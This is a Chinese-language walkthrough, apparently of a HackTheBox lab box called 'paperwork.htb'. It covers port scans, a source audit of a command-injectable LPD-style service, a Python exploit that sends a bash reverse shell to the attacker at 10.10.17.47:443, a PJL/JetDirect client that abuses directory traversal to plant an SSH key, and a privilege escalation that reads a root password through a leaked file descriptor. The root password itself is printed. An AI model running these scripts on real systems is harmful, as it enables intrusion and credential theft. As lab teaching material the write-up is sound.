基本信息
IP地址:
10.129.10.156(非固定IP地址)
信息收集
ICMP检测
PING 10.129.10.156 (10.129.10.156) 56(84) bytes of data.
64 bytes from 10.129.10.156: icmp_seq=1 ttl=63 time=79.2 ms
64 bytes from 10.129.10.156: icmp_seq=2 ttl=63 time=79.7 ms
64 bytes from 10.129.10.156: icmp_seq=3 ttl=63 time=80.0 ms
64 bytes from 10.129.10.156: icmp_seq=4 ttl=63 time=79.8 ms
--- 10.129.10.156 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 79.226/79.660/79.966/0.271 ms
攻击机和靶机间网络连接状态良好。
防火墙检测
# Nmap 7.99 scan initiated Sun Jul 12 07:12:38 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.10.156
Nmap scan report for 10.129.10.156
Host is up (0.21s latency).
All 65535 scanned ports on 10.129.10.156 are in ignored states.
Not shown: 59455 open|filtered tcp ports (no-response), 6080 closed tcp ports (reset)
# Nmap done at Sun Jul 12 07:15:24 2026 -- 1 IP address (1 host up) scanned in 166.23 seconds
无法确定靶机防火墙状态。
网络端口扫描
TCP端口详细信息扫描报告
# Nmap 7.99 scan initiated Sun Jul 12 07:37:15 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 2000 -oN tcp_result.txt 10.129.10.156
Nmap scan report for 10.129.10.156
Host is up (0.081s latency).
Not shown: 65493 filtered tcp ports (no-response), 40 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open tcpwrapped
|_http-server-header: nginx/1.28.0 (Ubuntu)
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
No OS matches for host
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 ... 30
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 12 07:38:55 2026 -- 1 IP address (1 host up) scanned in 100.12 seconds
UDP开放端口扫描报告
# Nmap 7.99 scan initiated Sun Jul 12 07:43:05 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 2000 -oN udp_ports.txt 10.129.10.156
Nmap scan report for 10.129.10.156
Host is up (0.32s latency).
Not shown: 65525 open|filtered udp ports (no-response)
PORT STATE SERVICE
5542/udp closed unknown
6725/udp closed unknown
16785/udp closed unknown
38522/udp closed unknown
42870/udp closed unknown
43628/udp closed unknown
44936/udp closed unknown
47782/udp closed unknown
51758/udp closed unknown
64705/udp closed unknown
# Nmap done at Sun Jul 12 07:45:22 2026 -- 1 IP address (1 host up) scanned in 137.06 seconds
UDP端口详细信息扫描报告
(无)
同时发现,靶机运行Ubuntu Linux操作系统,开放了22/ssh和80/http服务,主域名为paperwork.htb。
服务探测
SSH服务(22端口)
尝试使用ssh命令连接靶机,确定其登录方式:
ssh root@paperwork.htb

发现靶机SSH服务可以使用密码和密钥登录。
Web应用程序(80端口)
打开主页:http://paperwork.htb/

根据描述,发现该站点为一个关于内部日志系统的说明页面,页面上显示了日志记录提交的部分配置:
Protocol:RFC 1179Target Queue:archive_intake
以及一个链接,貌似为日志处理系统源代码,页面下方提示称提交日志必须使用正确的标识符,上方也有提示称PRN-ARCHIVE-01管理接口已经下线,必须通过内部网关进行操作。
先点击链接下载文件,发现下载了一个压缩包,压缩包内存在server.py文件:

经分析研判,决定对server.py进行代码审计。
渗透测试
日志处理程序RCE利用
在服务探测阶段,我们已经发现了主页上内部日志处理程序的下载链接并下载了其源代码,现在对其进行审计。server.py源码如下:
import socket
import threading
import subprocess
import subprocess
VALID_QUEUE = os.environ.get("LPD_QUEUE")
class LpdHandler(threading.Thread):
def __init__(self, sock, addr):
super().__init__()
self.sock = sock
self.addr = addr
self.id = f"[lpd-{addr[1]}]"
def run(self):
try:
data = self.sock.recv(1024)
if not data: return
command = data[0]
if command == 2:
self.handle_print_job(data)
elif command in (3, 4):
self.sock.send(b"Archive_Printer is ready and printing.\n")
except Exception as e:
print(f"{self.id} Error: {e}")
finally:
self.sock.close()
def handle_print_job(self, data):
queue = data[1:].decode().strip()
if queue not in VALID_QUEUE:
print(f"{self.id} Rejected: Invalid queue '{queue}'")
self.sock.send(b'\x01')
return
print(f"{self.id} Accepted job for queue: {queue}")
while True:
chunk = self.sock.recv(1024)
if not chunk: break
subcommand = chunk[0]
self.sock.send(b'\x00')
parts = chunk[1:].decode(errors='ignore').split()
if not parts: continue
size = int(parts[0])
content = b""
while len(content) < size:
content += self.sock.recv(size - len(content) + 1)
decoded_content = content.decode(errors='ignore')
job_name = "Unknown"
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:]
break
print(f"{self.id} Executing archive for: {job_name}")
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
self.sock.send(b'\x00')
self.sock.send(b'\x00')
while self.sock.recv(4096):
pass
break
class LpdServer:
def __init__(self, ip='0.0.0.0', port=1515):
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server.bind((ip, port))
self.server.listen(100)
print(f"[*] LPD Server listening on {port}")
def run(self):
while True:
sock, addr = self.server.accept()
LpdHandler(sock, addr).start()
if __name__ == "__main__":
LpdServer(port=1515).run()
通读源代码,可确定该程序就是处理日志的程序,为TCP应用。程序开头首先获取环境变量中配置的标识符,存入VALID_QUEUE变量中,程序结尾初始化了TCP Socket,通过run()方法指定LpdHandler类处理每条连接,最后让程序在每个网络接口的1515/tcp端口上开启监听,尝试使用netcat检查,发现靶机1515端口确实开启:

接下来将重点放在LdpHandler类上,开始正式审计前,简单查看构造方法:该方法初始化了Thread父类,并根据传入参数创建了sock、addr 和id成员变量(id变量主要以客户端地址作为标识)。
接着看run()线程体方法:该方法首先从TCP连接中读入1024字节,存入data字节数据变量,并去data[0]为操作类型标识,如其ASCII值为2,则将整个字节数据传入handle_print_job()方法处理,否则打印一些提示信息随后退出。
我们转为分析handle_print_job()方法:
- 在方法开头,程序将
data[1:],即除去首位的字节数组解码成了字符串,并去除了尾部空格,存入queue变量中,随后将该变量与VALID_QUEUE进行了比对,如接收到的标识符和VALID_QUEUE中的一部分匹配,则继续执行,否则报错退出,发送字节\x01。 - 判断标识符有效后,程序进入循环处理模式;在循环中,程序首先再次从
TCP连接中读入1024字节,存入chunk变量,如字节数组变量不为null,则继续执行;chunk的第一个字节会被存入subcommand变量,剩余字节被解码为字符串,去除头尾空格后存入parts变量,发送\x00作为读取成功标识。 parts读取完毕后,程序取parts字符串,转整数后作为长度值size,初始化字节数组content并进入循环,如content长度小于size,则读入size - len(content) + 1长度,即size + 1长度的字节(因为一开始content长度总为0),最后将content解码成字符串并去除首尾空格,存入decoded_content变量中。- 在方法的最后,程序根据换行符分割
decoded_content为字符串数组,使用for循环遍历每个字符串,如字符串以J字母开头,则将该串除去开头字符保存在job_name变量中,直接传入了subprocess.Popen()方法,由此造成任意命令执行漏洞。
综上所述,如果通过1515/tcp端口的日志处理服务达到RCE,必须构造如下图所示的三段字节数据:

下面编写利用脚本(尝试使用主页上的Target Queue参数值作为标识符):
#!/usr/bin/python3
import os
import socket
target = "10.129.12.162"
port = 1515
cmd = "/bin/bash -c 'bash -i >& /dev/tcp/10.10.17.47/443 0>&1'"
queueName = "archive_intake"
cmd_payload = ("J" + "';%s;echo '" %(cmd)).encode()
commandBytes = b'\x02' + queueName.encode()
chunk = b'\x02' + ("%d" %(len(cmd_payload))).encode()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.settimeout(20)
try:
sock.send(commandBytes)
print("[*] Queue Name sent: %s" %(queueName))
try:
sock.settimeout(10)
rightQueueBit = sock.recv(1024)
print("Recv: " + rightQueueBit)
if rightQueueBit[0] == 1:
print("[-] Incorrect Queue Name: %s" %(queueName))
os._exit(0)
except:
pass
sock.settimeout(20)
sock.send(chunk)
print("[*] chunk sent.")
ackBit = sock.recv(1024)
if (ackBit != b'\x00'):
print("[-] Invalid ACK response received!")
os._exit(0)
sock.send(cmd_payload)
print("[+] RCE payload sent!")
except :
print("[-] Network Error!")
os._exit(0)
sock.close()
编写完成后,在本地443端口启动netcat监听,执行攻击脚本:

成功收到反弹Shell!
权限提升
操作系统信息收集
基本系统信息

进程列表

计划任务列表

环境变量

用户信息

用户家目录

特殊权限文件

开放端口信息

敏感文件权限

查看系统进程列表,发现存在两个可疑进程:
- 命令:
/usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log,用户名:archivist; - 命令:
/usr/bin/python3 /usr/bin/paperwork-daemon,用户名:root
由于目前无权限查看/home/archivist/目录,先对/usr/bin/paperwork-daemon进行检查:
file /usr/bin/paperwork-daemon
cat /usr/bin/paperwork-daemon

通读程序源代码,发现该程序接受本地UNIX Socket连接,作用是读取/etc/paperwork/admin-pins.conf文件中的敏感数据,并将进一步处理过的SHA256哈希值返回,如果/home/archivist/printer/logs/commands.log日志文件中存在FSQUERY、FSUPLOAD和FSDOWNLOAD三个字符串,则将告警字符串和commands.log、admins_pin.conf的文件描述符返回(文件描述符为附加数据),但/run/paperwork/mgmt.sock目前无法读取。
尝试联网搜索FSQUERY、FSDOWNLOAD和FSUPLOAD,发现以上三个词语其实都是打印机作业语言PJL的命令,分别用于列出目录、读取和上传文件:

而如果文件名参数中存在../目录穿越字符且打印服务未进行检查过滤,则会造成任意文件读取和写入漏洞,而JetDirect又是一种基于PJL进行打印机通信的纯文本协议,结合两个进程分析,认为jetdirect.py为JetDirect协议服务器,实现了PJL语言,paperwork-daemon进程为本机信息查询服务,根据jetdirect.py服务的日志决定返回的内容。
经分析研判,决定首先通过JetDirect服务尝试向archivist家目录写入SSH公钥,移动至archivist用户后,再利用paperwork-daemon进程进行提权。
JetDirect服务目录穿越漏洞利用
在操作系统信息收集阶段,我们已经发现了可疑的JetDirect服务,现在尝试编写一个实现FSQUERY、FSDOWNLOAD和FSUPLOAD脚本的客户端。首先通过询问AI,了解JetDirect报文的格式:
----- FSQUERY -----
<ESC>%-12345X@PJL FSQUERY NAME="<Directory Path>"\r\n<ESC>%-12345X\r\n
----- FSUPLOAD -----
<ESC>%-12345X@PJL FSUPLOAD NAME = "<File Path>"\r\n<ESC>%-12345X
----- FSDOWNLOAD -----
<ESC>%-12345X@PJL FSDOWNLOAD FORMAT = BINARY NAME = "<Target Path>" SIZE = <File Size>\r\n<File Data (Bytes)><ESC>%-12345X@PJL EOJ\r\n<ESC>%-12345X
了解协议格式后,我们就可以编写客户端脚本程序了:
import os
import socket
import argparse
class CustomArgParser(argparse.ArgumentParser):
def error(self, message):
usageText = '''Usage:
python JetDirectClient.py --target <Target IP> --port <Port> --mode <Mode> [Arguments]
Mode FSQUERY: --listdir <Directory Path>
Mode FSUPLOAD: --filePath <Target File Path>
Mode FSDOWNLOAD: --sourceFile <Source File Path> --destFile <Destination File Path>
(Add ../ symbol into file path to perform directory travelsal attack)
'''
print(usageText)
os._exit(0)
def printDisplayBanner():
print("[+] Content:\n" + '-' * 20 + '\n')
def pjlConnect(target, port):
try:
print("[*] Connecting to jetdirect://%s:%d ..." %(target, port))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target, port))
print("[+] Successfully connected!")
return sock
except Exception as e:
print("[-] Network Error: %s" %(e))
os._exit(0)
def pjl_fsdownload(sockConn, local_file_path, printer_dest_path):
if not os.path.exists(local_file_path):
print(f"[-] Error: {local_file_path} not exists.")
return
file_size = os.path.getsize(local_file_path)
with open(local_file_path, "rb") as f:
file_data = f.read()
ESC = b"\x1b"
CRLF = b"\r\n"
uel = ESC + b"%-12345X"
pjl_header = (
f'@PJL FSDOWNLOAD FORMAT = BINARY NAME = "{printer_dest_path}" SIZE = {file_size}'.encode('ascii')
+ CRLF
)
pjl_footer = uel + b"@PJL EOJ" + CRLF + uel
payload = uel + pjl_header + file_data + pjl_footer
try:
sockConn.sendall(payload)
print("[+] FSDOWNLOAD request sent!")
except Exception as e:
print("[-] Network Error: %s" %(e))
finally:
sockConn.close()
os._exit(0)
def pjl_fsUpload(sockConn, filePath):
result = b''
try:
uel_start = b"\x1b%-12345X"
pjl_cmd = (f'@PJL FSUPLOAD NAME = "%s"\r\n' %(filePath)).encode('utf-8')
uel_end = b"\x1b%-12345X\r\n"
payload = uel_start + pjl_cmd + uel_end
sockConn.sendall(payload)
print("[*] FSUPLOAD request sent, receiving file content...")
while True:
try:
chunk = sockConn.recv(1024)
if not chunk:
print("[*] Just reached the end of byte data.")
break
result += chunk
except socket.timeout:
print("[+] All file contents received!")
break
except Exception as e:
print("[-] Network Error: %s" %(e))
os._exit(0)
return result
def pjl_fsQuery(sockConn, pathRead):
result = b''
uel_start = b"\x1b%-12345X"
pjl_cmd = (f'@PJL FSQUERY NAME = "%s"\r\n' %(pathRead)).encode('utf-8')
uel_end = b"\x1b%-12345X\r\n"
payload = uel_start + pjl_cmd + uel_end
try:
print("[*] Sending FSQUERY request, reading: %s" %(pathRead))
sockConn.sendall(payload)
while True:
try:
chunk = sockConn.recv(1024)
if not chunk:
print("[*] Just reached the end of byte data.")
break
result += chunk
except socket.timeout:
print("[+] All directory data received!")
break
except Exception as e:
print("[-] Network Error: %s" %(e))
os._exit(0)
return result
target = None
port = None
mode = None
fsQueryPath = None
fsUploadPath = None
fsDownloadDest = None
fsDownloadSource = None
if __name__ == "__main__":
try:
parser = CustomArgParser(description="JetDirect Client Argument Parser")
parser.add_argument('--target', type=str, required=True, help="Target IP Address")
parser.add_argument('--port', type=int, required=True, help="Target Port")
parser.add_argument('--mode', type=str, choices=["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"], required=True, help="JetDirect Command Type")
fsQueryGroup = parser.add_argument_group("fsQueryArguments")
fsQueryGroup.add_argument('--listdir', type=str, required=False, help="Target Directory Path")
fsUploadGroup = parser.add_argument_group("fsUploadArguments")
fsUploadGroup.add_argument('--filePath', type=str, required=False, help="Target File Path")
fsDownloadGroup = parser.add_argument_group("fsDownloadGroup")
fsDownloadGroup.add_argument('--sourceFile', type=str, required=False, help="Local File Path")
fsDownloadGroup.add_argument('--destFile', type=str, required=False, help="Destination Path")
args = parser.parse_args()
except argparse.ArgumentError:
pass
target = args.target
port = int(args.port)
mode = args.mode
sock = pjlConnect(target, port)
if args.mode == "FSQUERY":
fsQueryPath = args.listdir
content = pjl_fsQuery(sock, fsQueryPath)
if len(content) == 0: print("[*] Received nothing.")
else:
printDisplayBanner()
print(content.decode(errors='ignore'))
if args.mode == "FSUPLOAD":
fsUploadPath = args.filePath
content = pjl_fsUpload(sock, fsUploadPath)
if len(content) == 0: print("[*] Received nothing.")
else:
printDisplayBanner()
print(content.decode(errors='ignore'))
if args.mode == "FSDOWNLOAD":
fsDownloadSource = args.sourceFile
fsDownloadDest = args.destFile
pjl_fsdownload(sock, fsDownloadSource, fsDownloadDest)
编写完毕后,返回SSH会话,将靶机内网9100端口转发到攻击机9100端口,随后尝试列出打印机目录:
python JetDirectClient.py --target 127.0.0.1 --port 9100 --mode FSQUERY --listdir "0:\\"

成功列出目录文件!发现当前正处于/home/archivist/printer/目录内,尝试跨目录上传SSH私钥:
python JetDirectClient.py --target 127.0.0.1 --port 9100 --mode FSDOWNLOAD --sourceFile /root/.ssh/id_rsa.pub --destFile "0:\\..\\.ssh\\authorized_keys"
随后连接SSH:
ssh archivist@paperwork.htb

成功!!
UNIX Socket服务提权
登录archivist用户后,我们就拥有了连接/run/paperwork/mgmt.sock本地套接字的权限。由于之前使用JetDirect客户端发送了FSQUERY指令,因此日志文件中一定存在FSQUERY字样,Socket服务会返回安全警告信息,并将/etc/paperwork/admin_pins.conf文件描述符按字节数组形式返回,我们只须将其解码为整数后,使用os.fdopen()方法打开读取数据即可。/usr/bin/paperwork-daemon完整代码如下:
#!/usr/bin/python3
import socket, os, array, hashlib
import zipfile
import shutil
try:
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
except Exception:
os._exit(1)
LOG_PATH = "/home/archivist/printer/logs/commands.log"
def get_admin_secret():
data = os.pread(admin_fd, 1024, 0).decode().strip()
if "ADMIN_PASSWORD=" in data:
return data.split("ADMIN_PASSWORD=")[1].split("\n")[0]
return data
def scan_for_malice():
if not os.path.exists(LOG_PATH):
return False
with open(LOG_PATH, 'r') as f:
content = f.read().upper()
if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
return True
return False
def trigger_lockdown(conn):
try:
log_fd = os.open(LOG_PATH, os.O_RDONLY)
evidence_bundle = array.array("i", [log_fd, admin_fd])
msg = b"ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED."
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
zip_path = "/root/quarantine/evidence.zip"
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
zipf.write(LOG_PATH, arcname="commands.log")
with open(LOG_PATH, 'w') as f:
f.truncate(0)
os.close(log_fd)
except:
pass
def main():
socket_path = "/run/paperwork/mgmt.sock"
if os.path.exists(socket_path): os.remove(socket_path)
if not os.path.exists("/run/paperwork"): os.makedirs("/run/paperwork")
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.bind(socket_path)
os.chmod(socket_path, 0o660)
os.chown(socket_path, 0, 1000)
s.listen(5)
while True:
conn, _ = s.accept()
if scan_for_malice():
trigger_lockdown(conn)
else:
secret = get_admin_secret()
token = hashlib.sha256(f"SYSTEM_CLEAN:{secret}".encode()).hexdigest()
conn.sendall(f"STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n".encode())
conn.close()
if __name__ == "__main__":
main()
直接执行如下Python代码进行获取文件描述符读取内容:
import os
import socket
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/run/paperwork/mgmt.sock")
msg, ancdata, msg_flags, address = sock.recvmsg(8192, 8192)
fd = int.from_bytes(ancdata[0][2][4:], byteorder='little')
with os.fdopen(fd, 'r') as f:
print(f.read())

尝试将返回的密码配置作为root凭据使用:
- 用户名:
root - 密码:
ApparelMortuaryCedar22
ssh root@paperwork.htb

提权成功!!!!
